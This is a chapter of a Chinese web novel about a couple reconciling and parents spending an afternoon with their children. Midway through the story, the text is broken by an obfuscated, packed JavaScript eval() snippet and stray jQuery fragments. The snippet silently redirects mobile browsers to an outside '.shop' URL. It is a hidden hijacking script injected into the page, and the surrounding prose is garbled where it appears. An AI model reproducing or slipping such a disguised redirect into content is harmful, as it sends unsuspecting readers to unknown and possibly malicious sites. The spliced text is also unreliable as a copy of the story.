川云火锅店。
店里静悄悄的,在店门口,蒲忆只听到了店员吃工作餐的声音。
她惊讶地往前走了两步,隔着玻璃,看到诺晨他们几个确实在店里,她才稍稍松了口气儿。
诺晨的手里拿着一本画册,脚边蹲着一只机器猫。他看得很入神,叶承钰和他的状态一模一样。
一根竹蜻蜓突然从她的眼前飞过,一个六岁出头的小女孩追着那支竹蜻蜓一路向前。
在火锅店门口,女孩儿陡然停下脚步,竹蜻蜓稳稳地落在了她身前的男人手中。
“蓝牙已连接。礼物已捕捉。”
轻快的声音从女孩儿手腕处的蓝色手环那儿传出,手环的颜色由蓝转粉。
“你……就是……礼物?
女孩儿的声音里充满了不确定。三秒之后,她兴奋地转身,大喊道:“妈妈,快过来。”
女孩儿像兔子一般原路跳了回去,苏澧伸手去抓她,指尖却从她的帽檐处划过。
“辰叔送的礼物是爸爸。”
女孩儿兴奋地囔道。她脸上写满了“这礼物我很满意”几个字。
她身后的女人被她拖着来到苏澧面前,她和那女孩儿一样都穿着牛仔背带裤,盖着一顶运动帽。
“欣兰,你确定礼物不是他身后那位?”
女人毫不留情地给女孩儿泼了盆冷水。女孩儿困惑地眯起眼,将手环重启了一次。
竹蜻蜓顶端的灯重新亮起的时候,苏澧关了它的电源。
“渝乐下午有工作。”
苏澧把竹蜻蜓牢牢地拽在手里。
“渝乐,你今天不是休假吗?”
女人惊奇地叹道。
一个逢休息日就看不到人影的人,居然能被逮回来加班。
“你怎么知道他今天休假的?”
渝乐右眼皮儿突突地跳了两下,醋坛子又开始酿醋了。
“欣兰说她要钓鱼,问我什么时候方便带她去。我告诉她,我已经在河边了,下……”
说到这里,渝乐突然意识到哪里不对。他只和苏欣兰一个人说过他今天钓鱼的地址。陆扉辰的司机能精准地找到他,这个小丫头功不可没。
“苏欣兰,你出卖我。”
渝乐气得头顶冒烟,他好好的假期就这样泡汤了。苏欣兰拔腿就跑,渝乐追在她身后,在巷子里狂奔。
“她想去公园玩划艇,坐索道,开碰碰车。陪不了全程,就别去。”
女人抓住竹蜻蜓的木杆,试图从苏澧手里抽走它。
“还在生气?”
苏澧语气里藏着一丝不易察觉的惊喜。谢天谢地,她还愿意同他置气儿。
“只打钱,不回家。对这么完美的老公,我生什么气儿?”
女人气呼呼地松手。她放手的瞬间,一只大手覆在她的手上,那只竹蜻蜓随之被他推到了她手中。
“昨晚,真的很抱歉。辰哥送亚繁回家了,颜姐让我务必过去一趟。欣兰那么想看烟花,我就没舍得开口让你们陪我去。”
苏澧紧张地握着那只戴着他们婚戒的纤手,害怕她会执意甩开她。
“昨天,我太生气了。没听你解释,把你关在门外,对不起。”
苏澧愧疚地握紧她的手,将她的帽檐抬高,让他能够看清她眼中的情绪。
“那今晚,能让我回房间吗?”
“那得看辰哥送的这个礼物,欣兰满不满意了。”
女人把竹蜻蜓塞回到苏澧手中。
苏澧屏住呼吸把竹蜻蜓的电源打开,在感应器与他的手机蓝牙配对连接后,系统弹出一封消息:
任务:约会
“我今天的工作就是陪欣兰玩划艇,坐索道,开碰碰车……”
苏澧兴奋地握住女人的手,没有再放开。他眼中的坚冰在她面前尽数碎去,只剩漂浮的冰渣。
蒲忆的心猛然抽动,原来爱真的能把百炼钢化成绕指柔。
诺晨的父亲以前也是这般爱她吗?
“爸爸,救我。”
女孩儿如风一般从蒲忆的身旁跑过,她径直扑到苏澧怀中,安心地大声喘气儿。
“小丫头,亏我出去玩总带着你。你居然出卖我。”
渝乐跑得上气儿不接下气儿,双手撑着膝盖,一副快要脱水的样子。
“今天郊外有雨,欣兰担心你淋雨了,托钟瞿给你送伞。你突然有工作进来,钟瞿才顺路把你带回公司,省了你打车的麻烦。”
苏澧解围道。
渝乐指着苏澧的鼻子,半天挤不出一句话。近墨者黑,陆扉辰亲自带出来的人,他还能指望他是块白嫩的豆腐?
“邓晶,你看看他,这胡话信口拈来。也就你,当初信了他的鬼话,被他用一枚五百块的便宜戒指骗回了家。”
渝乐麻溜地躲到女人身后,冲着苏澧做鬼脸。一物降一物,苏澧就怕别人在邓晶面前说他坏话。
“渝乐,那你可得好好反思了。欣兰都六岁了,你还是孤家寡人一个。”
女人反握住苏澧的手,坚定地走到他身边。两人相视一笑,渝乐闻到了一股热恋的酸臭味。
他两眼向上一翻,他一定是肚子饿了,脑子宕机了,才会给这俩当众撒狗粮的机会。
“果然是一家子,我要去吃火锅。只有毛肚、鱼丸、羊肉卷才能治愈我这受伤的心灵。”
渝乐摆出一副心碎的模样。
女孩儿望着他悲伤的身影,不安地探出脑袋,望着苏澧,问道:“渝乐哥哥,以后都不理我了?”
苏澧摸了摸她的脑袋,笑着摇头。
“为感谢你今天放弃休假来处理徐卓的事情,我承包你一个月的草莓牛奶。今天的火锅也我买单。”
渝乐双眉上挑,转头,笑眯眯地朝着苏欣兰比了个爱心,“谢谢苏老板。欣兰,欢迎下次继续出卖我哦。”
话音刚落,渝乐脚底抹油地溜没影了。他的毛肚,鱼丸,羊肉卷正在翻腾的油锅里向他招手。
“爸爸,你真的是辰叔送我的礼物?你真的能陪我玩一整个下午,都不接一个工作电话?”
苏欣兰紧张地抓着苏澧的手。
苏澧摸摸她的脑袋,笑道:“等我们一起度过了这个下午。你就知道我能不能一个工作电话都不接了。我今天剩下的时间都属于你。”
苏澧将竹蜻蜓递到苏欣兰手里。她激动地将竹蜻蜓抛向空中,兴奋地叫道:“辰叔,万岁。”
她追着竹蜻蜓一路向前跑,邓晶看着她兴奋的样子,眼里也浮现出浓烈的笑意。
“你今天剩下的时间都属于她,那我呢?”
邓晶歪着脑袋问道。
苏澧在她的眼睛里看到了熟悉的醋意,轻笑着将她的帽子盖在他的脑袋上。
“我是你的。”
动人的情话是一颗无论何时都能让人开怀大笑的软糖。
邓晶情不自禁地染上柔和笑意,她牢牢握着苏澧的手,牵着他走向追着竹蜻蜓一路向前跑的苏欣兰。
两人的婚戒在紧握的双手处交叠,在阳光下映射出当初许下的“不离不弃”的誓言。
“邓晶,苏澧的太太。”
冯子烟突然从蒲忆的身后冒出,蒲忆被吓得轻叫一声。
邓晶应声回头,循声望去,在冯子烟的身旁看到了一道熟悉而陌生的身影。
她藏起眼中的困惑,对着冯子烟招手道:“子烟姐,欣兰答应亚繁帮承钰卖30盒饼干,我们等会儿公园见。”
“那可真帮大忙了。等会儿公园见。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738957|208249||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
邓晶的视线在蒲忆身上停留片刻,在蒲忆感到不适之前,她牵着苏澧离开了。
“她认识我?”
蒲忆自语道。
她不想承认,她吸引那道视线的原因的这张和陆扉辰太太相似的脸。
“邓晶是9楼的培训师,你的绒花胸针,她也有一个。”
冯子烟脑子飞速运转,蒲忆释然地笑了笑。
“他们的感情,看起来很好。”
蒲忆羡慕地叹了一声。
如果诺晨也是因为爱而出生的孩子,该多好啊。
“如果你看到昨天苏澧被邓晶关在门外找扉辰收留的可怜模样,就不会有这个错觉了。”
冯子烟轻笑出声。
陆扉辰突然跑去苏皓宁家,把郭彩颜给吓坏了,担心他上门把苏皓宁揍一顿,赶忙把苏澧叫了回去。
苏澧本来答应要在吃完晚饭之后陪苏欣兰看烟花。接到郭彩颜的消息之后,他立刻去了苏家。
等再回到家,他发现家里的密码锁换密码了。
苏澧担心就这样去出差,他回来的时候,等待他的是一纸离婚协议。他磨了叶景枫一晚上,终于让他同意替他飞巴黎。
得亏叶景枫出差了,不然,被他知道叶承钰违规给徐卓刷礼物,他得把叶承钰吊起来打。
叶景枫这出差,少说也得一周。也不知道叶承钰回家之后,发现好不容易回家的爸爸又飞走了,会怎么闹腾。
家家有本难念的经!
“哎……”
冯子烟心累地叹了一声。
陆扉辰不慢下来,他们都慢不下来。
只是,五年了。
他们好像都快要到极限了。
“妈妈,快过来换衣服。时间快到了。”
叶承钰抱着一套衣服小心翼翼地靠近。
人多的时候,冯子烟不会让她下不来台。人少的时候,那可说不定。
“为什么我也要换衣服?”
冯子烟看了眼诺晨手里的袋子。合着这是为了让蒲忆换套衣服,陆扉辰连她的也准备了。
“这个……”
叶承钰把一本卡通集邮册塞到了冯子烟手中。
“这可是亲子活动。你会……陪我去吗?”
叶承钰试探道。
冯子烟受不了她那可怜巴巴的样子,轻叹着接过衣服。
“事先说好,饼干卖不出去,别指望我会帮忙。”
叶承钰的眼睛亮得跟天上的北极星似的。她用力地点点头,“那我们现在去换衣服?”
冯子烟摸了摸她的小脑袋,接过衣服去了店里。
不远处,诺晨安静地站在那儿,犹豫地看着蒲忆。
“这是给我的吗?”
蒲忆故意问道。
诺晨点点头,但默默把袋子放在身后了。
“我和亚繁哥哥去做任务就行了。妈妈,去工作。”
蒲忆心头一震。
诺晨眼里的失落,太浓,她想装作看不见都不可能。
“可是我今天下午放假。你真的不让我陪你去吗?这不是亲子活动吗?”
蒲忆蹲在诺晨身前,伸手示意他把袋子交给他。
“真的?你不用去工作?”
诺晨兴奋地扑到蒲忆怀中。
“今天约见的客户临时有事儿,不来了。我的时间空出来了。”
“那妈妈,赶紧去换衣服。亚繁哥哥说,公园有好多好玩的地方。”
说话间,蒲忆的手机响了。
那是委托人来的电话。
她看着诺晨兴奋的脸,不动声色地将电话挂了。
少做一单生意,天塌不下来。
“那你跟我一起去换衣服,看看这衣服我穿得好不好看。”